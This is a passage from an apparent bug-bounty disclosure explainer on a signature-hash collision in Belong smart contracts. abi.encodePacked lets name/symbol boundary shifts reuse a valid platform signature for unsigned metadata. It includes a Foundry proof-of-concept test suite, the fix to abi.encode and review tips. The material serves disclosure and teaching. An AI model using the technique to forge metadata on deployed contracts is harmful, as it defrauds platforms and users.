  3. The first if checks that ../../audit-comp-belong/foundry.toml exists. foundry.toml is Foundry's configuration file; if it is missing, the script is being run from the wrong folder, so it prints an error and exits.
  4. Step 1 checks whether the forge command exists. If not, it prints the official install commands and stops.
  5. Step 2 moves into the project directory with cd.
  6. Step 3 checks for the OpenZeppelin dependency folder and installs version v5.4.0 if it is absent.
  7. Step 4 copies the test file into the project's test/ folder, because Foundry only picks up tests from there.
  8. Step 5 runs forge test --match-contract SignatureCollisionPoC -vv, which runs only the tests in that contract and shows moderately detailed output.
  9. The exit code of that command is saved in TEST_EXIT_CODE. If it is zero, all tests passed, and the script prints the summary: five tests passed, the vulnerability is confirmed, the fix is validated. Otherwise it prints a failure message and exits with an error.

The script runs forge test --match-contract SignatureCollisionPoC -vv and reports success when the exit code is zero, listing the five tests as passed.

The Solidity tests reproduce the hashing directly:

Solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;

import "forge-std/Test.sol";
// No need to import SignatureVerifier - we're testing the hashing logic directly

contract SignatureCollisionPoC is Test {

    uint256 constant CHAIN_ID = 31337;

    function setUp() public {
        vm.label(address(this), "PoC Contract");
    }

    function test_SignatureCollision_BoundaryShift() public {
        // Legitimate metadata
        string memory legitimateName = "MyToken";
        string memory legitimateSymbol = "MT";
        string memory legitimateUri = "ipfs://legitimate";

        // Colliding metadata
        string memory collidingName = "MyTokenM";
        string memory collidingSymbol = "T";
        string memory collidingUri = "ipfs://legitimate";

        bytes memory legitimatePacked = abi.encodePacked(
            legitimateName,
            legitimateSymbol,
            legitimateUri,
            CHAIN_ID
        );

        bytes memory collidingPacked = abi.encodePacked(
            collidingName,
            collidingSymbol,
            collidingUri,
            CHAIN_ID
        );

        assertEq(
            keccak256(legitimatePacked),
            keccak256(collidingPacked),
            "Hashes should collide!"
        );
    }

    function test_MultipleCollisionExamples() public {
        _testCollision("Official", "NFT", "ipfs://data", "OfficialN", "FT", "ipfs://data", "Example 1");
        _testCollision("Token", "ABC", "uri", "Toke", "nABC", "uri", "Example 2");
        _testCollision("Test", "XYZ", "metadata", "Tes", "tXYZ", "metadata", "Example 3");
    }

    function test_RealContractVulnerability_CreditToken() public {
        string memory name1 = "Credits";
        string memory symbol1 = "CRD";
        string memory uri1 = "ipfs://credits";

        string memory name2 = "CreditsC";
        string memory symbol2 = "RD";
        string memory uri2 = "ipfs://credits";

        bytes32 hash1 = keccak256(abi.encodePacked(name1, symbol1, uri1, block.chainid));
        bytes32 hash2 = keccak256(abi.encodePacked(name2, symbol2, uri2, block.chainid));

        assertEq(hash1, hash2, "Vulnerability confirmed in real contract code");
    }

    function test_RealContractVulnerability_AccessToken() public {
        string memory name1 = "AccessPass";
        string memory symbol1 = "PASS";
        string memory contractURI1 = "ipfs://pass";
        uint96 feeNumerator = 250;

        string memory name2 = "AccessPassP";
        string memory symbol2 = "ASS";
        string memory contractURI2 = "ipfs://pass";

        bytes32 hash1 = keccak256(
            abi.encodePacked(name1, symbol1, contractURI1, feeNumerator, block.chainid)
        );
        bytes32 hash2 = keccak256(
            abi.encodePacked(name2, symbol2, contractURI2, feeNumerator, block.chainid)
        );

        assertEq(hash1, hash2, "AccessToken vulnerability confirmed");
    }

    function _testCollision(
        string memory name1,
        string memory symbol1,
        string memory uri1,
        string memory name2,
        string memory symbol2,
        string memory uri2,
        string memory label
    ) internal {
        bytes32 hash1 = keccak256(abi.encodePacked(name1, symbol1, uri1, CHAIN_ID));
        bytes32 hash2 = keccak256(abi.encodePacked(name2, symbol2, uri2, CHAIN_ID));
        assertEq(hash1, hash2, string(abi.encodePacked(label, " should collide")));
    }

    function test_Fix_UseAbiEncode() public {
        string memory name1 = "MyToken";
        string memory symbol1 = "MT";
        string memory uri1 = "ipfs://x";

        string memory name2 = "MyTokenM";
        string memory symbol2 = "T";
        string memory uri2 = "ipfs://x";

        // VULNERABLE: abi.encodePacked
        bytes32 vulnerableHash1 = keccak256(abi.encodePacked(name1, symbol1, uri1, CHAIN_ID));
        bytes32 vulnerableHash2 = keccak256(abi.encodePacked(name2, symbol2, uri2, CHAIN_ID));

        // SECURE: abi.encode
        bytes32 secureHash1 = keccak256(abi.encode(name1, symbol1, uri1, CHAIN_ID));
        bytes32 secureHash2 = keccak256(abi.encode(name2, symbol2, uri2, CHAIN_ID));

        assertEq(vulnerableHash1, vulnerableHash2, "Vulnerable version should collide");
        assertTrue(secureHash1 != secureHash2, "Secure version should NOT collide");
    }
}

What each part of the test file does:

  1. pragma solidity 0.8.27; pins the compiler version, so the test behaves the same for everyone.
  2. import "forge-std/Test.sol"; brings in Foundry's testing helpers, including assertEq (check two values are equal) and assertTrue (check a condition holds).
  3. contract SignatureCollisionPoC is Test declares a test contract that inherits those helpers.
  4. uint256 constant CHAIN_ID = 31337; fixes a pretend chain ID for the tests.
  5. setUp() runs before every test. vm.label(...) just gives the test contract a readable name in output.
  6. test_SignatureCollision_BoundaryShift() builds the legitimate pair (MyToken/MT) and the shifted pair (MyTokenM/T), packs each with the URI and chain ID, and asserts that the two hashes are equal. If the bug did not exist, this assertion would fail.
  7. test_MultipleCollisionExamples() calls a helper three times with different pairs, showing the trick is not a one-off: Official/NFT versus OfficialN/FT, Token/ABC versus Toke/nABC, and Test/XYZ versus Tes/tXYZ.
  8. test_RealContractVulnerability_CreditToken() repeats the exercise with values shaped like the credit token path (Credits/CRD versus CreditsC/RD) and uses block.chainid, the real chain ID, instead of the constant. This repeats the exercise with values shaped like the credit token path.
  9. test_RealContractVulnerability_AccessToken() does the same for the access token path, which additionally packs a uint96 feeNumerator = 250. A uint96 is a fixed-size integer, so it does not introduce ambiguity itself; the collision still comes from the strings.
  10. _testCollision(...) is a shared helper that packs two triples and asserts their hashes match, with a label in the failure message.
  11. test_Fix_UseAbiEncode() computes the hashes both ways. It asserts that the vulnerable abi.encodePacked versions collide, and that the abi.encode versions do not. This is the proof that the proposed fix actually works.

The tests cover four things: a single boundary-shift pair, three further collision examples, the two real contract functions (credit token and access token, the latter also packing a uint96 fee numerator), and a check that abi.encode produces different hashes for the same colliding inputs. The report's sample output is abbreviated: it states that collisions are found for pairs such as ("Official","NFT") versus ("OfficialN","FT"), that the checkAccessTokenInfo and checkCreditTokenInfo hash results collide, and that abi.encode produces different hashes for colliding inputs.

Root cause

abi.encodePacked concatenates dynamic types without length prefixes, so the encoding of (name, symbol, uri, chainid) is just the raw bytes of the strings followed by the chain ID. Moving characters across the name/symbol boundary leaves the concatenated bytes unchanged. Because the signature is computed over keccak256 of that packed encoding, the signature does not bind to a unique (name, symbol, uri) tuple. The chain ID is included, but it does not help: it is appended after the strings and is identical in both cases.

Impact

An attacker who holds a valid signature for one set of collection metadata can create a collection with different metadata that was never signed by the platform. The report frames this as unintended alteration of what the NFT represents, and lists it as Medium severity.

Fix

Replace abi.encodePacked with abi.encode in all signature verification functions. The report gives the diff for the credit token path:

Diff
// BEFORE (vulnerable)
keccak256(
    abi.encodePacked(
        creditTokenInfo.name,
        creditTokenInfo.symbol,
        creditTokenInfo.uri,
        block.chainid
    )
)

// AFTER (secure)
keccak256(
    abi.encode(
        creditTokenInfo.name,
        creditTokenInfo.symbol,
        creditTokenInfo.uri,
        block.chainid
    )
)

What the diff shows: the only change is the function name, from abi.encodePacked to abi.encode. Everything else, the fields and their order, stays the same. The PoC asserts that abi.encode produces different hashes for the colliding inputs. The recommendations add that other places in the codebase where multiple dynamic types are packed and used for signature verification or critical identifiers should be reviewed and fixed the same way.

  1. Look for any signature check that hashes two or more dynamic values with abi.encodePacked. A positive result is two different field splits that produce the same keccak256 output, as in the PoC.
  2. Check packed encodings that mix dynamic strings with fixed-size values such as addresses or integers. A positive result is a collision where the fixed-size value is unchanged and the string boundary moves.
  3. Check identifiers derived from packed strings, not just signatures, for example keys used for storage or allowlists. A positive result is two distinct inputs mapping to the same key.
  4. Check whether the chain ID or a domain separator is appended after the dynamic fields rather than encoded with lengths. A positive result is a collision that survives the extra field.

This class of bug hides in signature verification helpers and anywhere a hash is built from user-supplied strings. During review, grep for abi.encodePacked followed by keccak256 and look at whether more than one argument is dynamic. The signal is a helper that takes a struct of strings and verifies a signature over their packed concatenation. To show impact, demonstrate a concrete pair of inputs that collide, ideally against the real function's hashing logic, and show that the fixed encoding separates them. The report does this with a Foundry test suite that asserts equality for the vulnerable encoding and inequality for abi.encode.

Glossary

  • Smart contract: a program deployed on a blockchain that runs automatically and can be called by anyone.
  • Solidity: the programming language used to write most smart contracts.
  • Library: reusable code that other contracts can call.
  • Signature: data proving that a particular party approved a particular message, produced with a private key and checked with a public key.
  • Private key / public key: a secret value only the owner knows, and the matching value everyone can use to verify what the owner signed.
  • Hash / keccak256: a fingerprint function that turns any input into a fixed-length output; the same input always gives the same output.
  • abi.encodePacked: a Solidity function that glues values into raw bytes with no separators or length information.
  • abi.encode: a Solidity function that encodes values together with their offsets and lengths, so the result is unambiguous.
  • Dynamic string: text whose length is not fixed in advance, such as a name or a URL.
  • Fixed-size value: a value that always takes the same number of bytes, such as an integer or an address.
  • Struct: a bundle of related values grouped under one name.
  • Chain ID: a number identifying a particular blockchain network.
  • Boundary-shift collision: two different field splits that produce the same concatenated bytes, and therefore the same hash.
  • Revert: cancelling a contract call and reporting an error.
  • OpenZeppelin: a widely used collection of ready-made, audited smart contract code.
  • Foundry / forge: a toolkit for building and testing smart contracts locally; forge test runs the tests.
  • foundry.toml: Foundry's configuration file, whose presence shows you are in the right project folder.
  • Proof of concept (PoC): a small program that demonstrates a bug really exists.
  • uint96: an unsigned integer that occupies 96 bits, a fixed size.
  • assertEq / assertTrue: test helpers that check two values are equal, or that a condition holds.
  • Domain separator: an extra value mixed into a signature scheme to tie it to a particular context, such as a network.
  • Allowlist: a list of addresses or values that are permitted to do something.
  • grep: a command-line tool for searching text files for a pattern.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cryptographic weaknesses

The lesson behind this report.

Encryption, signatures, randomness or certificate checks that do not protect what they claim to.